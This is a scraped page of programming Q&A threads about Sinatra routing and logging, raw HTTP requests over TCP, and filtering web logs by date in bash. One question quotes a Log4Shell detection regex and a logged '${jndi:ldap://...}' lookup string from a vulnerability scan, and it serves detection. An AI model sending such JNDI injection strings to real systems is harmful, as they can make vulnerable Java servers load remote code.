get '/test' do
session[:my_session_id] = generate_random_id()
puts 'begin haml debug'
haml :"static/haml_page", :locals=>{:session_id => session[:my_session_id]}
end
I see in a log that a page above is constantly called twice:
begin haml debug
127.0.0.1 - - [02/Nov/2012 00:00:01] "GET / HTTP/1.1" 200 4317 1.5421
127.0.0.1 - - [02/Nov/2012 00:00:01] "GET /js/base/jquery.pjax.002902.js HTTP/1.1" 304 - 0.0234
[2012-11-02 00:00:01] WARN Could not determine content-length of response body. Set content-length of the response or set Response#chunked = true
127.0.0.1 - - [02/Nov/2012 00:00:01] "GET /css/docs.002902.css HTTP/1.1" 200 165 0.1086
.................................
begin haml debug
127.0.0.1 - - [02/Nov/2012 00:00:04] "GET / HTTP/1.1" 200 4317 1.9288
It makes me have some issues. Why is this happening?
I've moved to Puma server insted of Webrick because of similar issues.
Unfortunately I've lost example code with this problem.
In any case, if you have such problems please learn what brouser does:
Developers tool > Network (tab) will show exact sourse of request if it exists
Try to narrow this issue/bug by reducing code i.e. comment all JavaScripts, change page contents to 'Hello Wold' and observe is problem still happens
Share your code:)
Sorry for posting here, I don't know how to post this as addition to your qestion.
This is a hack, but if you really need to get it to only run the code once:
Create a global boolean variable. in the route, wrap everything in a conditional on the boolean. if false, set it true, run your code, and set it false again.
Related
According to this post I used proposed regex \"?\$\{(?:jndi|lower|upper|env|sys|java|date|::-j)[^\s]*\" to find jndi-signatures are used in useragent field of web-requests once by Lucene it doesn't work? please see the screenshot below:
Example: [27/Feb/2022:07:26:09 +0000] xxxx.xx.xx.xxx "-" "GET /xampp/cgi.cgi HTTP/1.1" 403 "-b" 0b 2ms "${jndi:ldap://log4shell-generic-W767eV31Ltd9L3OB6vXK${lower:ten}.w.nessus.org/nessus}" xxx.xx.xx.xxx 15638 "xxx.xxx.xx.xxx" "-" - - TLSv1.2 -,-,- It doesn't work with(out) caution marks even I checked /.*n/ based on this source.
I want to write a script that asks user for the first and last date and time of the interval we want to filter our log data and I need some help.
I don't exactly know how to really find the data from that range as I can't use a single regex.
my log file looks like this:
108.162.221.147 - - [04/Aug/2016:18:59:59 +0200] "GET / HTTP/1.1" 200 10254 "-"...
141.101.99.235 - - [04/Aug/2016:19:00:00 +0200] "GET / HTTP/1.1" 200 10255 ...
108.162.242.219 - - [04/Aug/2016:19:00:00 +0200] "GET / HTTP/1.1" 200 10255...
185.63.252.237 - - [04/Aug/2016:19:00:00 +0200] "CONNECT...
108.162.221.147 - - [04/Aug/2016:19:00:00 +0200] "GET /?...
185.63.252.237 - - [04/Aug/2016:19:00:01 +0200] "CONNECT....
etc...
my script:
#!/bin/bash
echo "enter the log file name "
read fname
echo "enter the start date and time "
read startdate
echo "enter the end fate and time "
read enddate
result=$(some code for filtering rows from this range)
echo "$result" > 'log_results'
echo "results written into /root/log_results file"
I tried using
sed -n "/"$startdate"/,/"$enddate"/p" "fname"
didn't word as it couldn't see the date format because of slashes, the regex doesn't also work, as it finds only those 2 dates from log(maybe I've been writing it wrong)
how do I do this?
Usually it's best to use some kind of dedicated log parsing software for this kind of task, so that you don't have to do what you're trying to do. It's also decidedly not a job for regular expressions. However, if you must do this with text processing tools such as grep, I would suggest a two-phase approach:
Generate a list of every timestamp you want to find.
Use grep -F to find all lines in your log that contain one of those timestamps.
For example, if you only wanted to find the middle five lines of your file (the ones with the timestamp [04/Aug/2016:19:00:00 +0200]), that would make step 1 very simple (as you are generating a single-item list, with just one timestamp in it).
echo '[04/Aug/2016:19:00:00 +0200]' > interesting_times
Then find all the lines with that timestamp:
grep -F -f interesting_times logfile
You could generate a shorter list by reducing the precision of the timestamp. For example to find two entire hours of log data:
echo '[04/Aug/2016:19' > interesting_times
echo '[04/Aug/2016:20' >> interesting_times
I leave it to you to determine how to generate the list of interesting times, but seriously look into purpose-built log parsing software.
I'm trying to get Sinatra up and running with Ruby with some beginner tutorials. Sinatra works fine on '/' requests, but any extension to that seems to break it and returns the error message 'Sinatra doesn’t know this ditty.' It doesn't seem to matter what I put after the '/xxx', it all fails.
Here's my code, config.ru:
require 'sinatra'
get '/' do
"Root"
end
get "/hello" do
"hello"
end
Here's what the server is saying:
127.0.0.1 - - [14/Oct/2014 20:20:53] "GET / HTTP/1.1" 200 10 0.0016
127.0.0.1 - - [14/Oct/2014 20:20:57] "GET /hello HTTP/1.1" 404 442 0.0010
127.0.0.1 - - [14/Oct/2014 20:20:57] "GET /__sinatra__/404.png HTTP/1.1" 304 - 0.0017
Thanks for any help!
A wild guess that your request url might have a trailing slash.
Sinatra treats URLs with/without trailing slashes differently unless you append “/?” to the end of your route like so:
get "/hello/?" do
'hello'
end
The route specified above will match both “/hello and “/hello/”.
Want to test what's going on under the hood of http, so I did something like this:
socket = TCPSocket.open('localhost',4567)
request = "GET / HTTP/1.1\r\nHost:localhost\r\n\r\n"
socket.print request
But sinatra give me an error:
[2012-08-01 14:04:11] ERROR bad Request-Line `'.
ec2-184-169-164-27.us-west-1.compute.amazonaws.com - - [01/Aug/2012:14:04:11 UTC] "" 400 313
- ->
Any idea?
This might depend on web server, some web servers require some headers (I have had the same problem and solvedit by adding Accept header), and also some firewalls require User-Agent, so try this one:
socket.puts "GET / HTTP/1.1\r\n"
socket.puts "Host: localhost\r\n"
socket.puts "Accept: text/html,*/*\r\n"
socket.puts "User-Agent: Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)\r\n"
socket.puts "Connection: close\r\n"
socket.puts "\r\n"
also note about space after : (it is rare) but a web server might require that!
also using puts might be better than print. (in my opinion!)
I have a Sinatra::Base webservice which I want to start from a command line Ruby program, so I have this:
# command line program file
require 'mymodule/server'
puts "Running on 0.0.0.0:4567, debugging to STDOUT..."
MyModule::Server.run! bind: '0.0.0.0', port: 4567, environment: :production
This works as expected but it throws out:
$ myscript
Running on 0.0.0.0:4567, debugging to STDOUT...
== Sinatra/1.3.1 has taken the stage on 4567 for production with backup from Thin
>> Thin web server (v1.3.1 codename Triple Espresso)
>> Maximum connections set to 1024
>> Listening on 0.0.0.0:4567, CTRL+C to stop
127.0.0.1 - - [23/Dec/2011 18:44:55] "POST /images HTTP/1.1" 200 360 0.0133
...
And I want it to be silent, and let me output what I want. For example, if I start it not daemonized I want to just see some message from the command line program and the log output, something like:
$ myscript
Running on 0.0.0.0:4567, debugging to STDOUT...
127.0.0.1 - - [23/Dec/2011 18:44:55] "POST /images HTTP/1.1" 200 360 0.0133
...
Also would like to silently shutdown it, hiding:
== Sinatra has ended his set (crowd applauds)
One last question, is this the best option to start a sinatra app with thin from inside an application code(ruby script in this case)?
You can turn off Sinatra logging with
set :logging, false
http://www.sinatrarb.com/configuration.html
As far as whether or not this is the best way to start a sinatra app... You might want to look at the "foreman" gem, and the "Procfile" (which Heroku.com uses) as an example:
http://ddollar.github.com/foreman/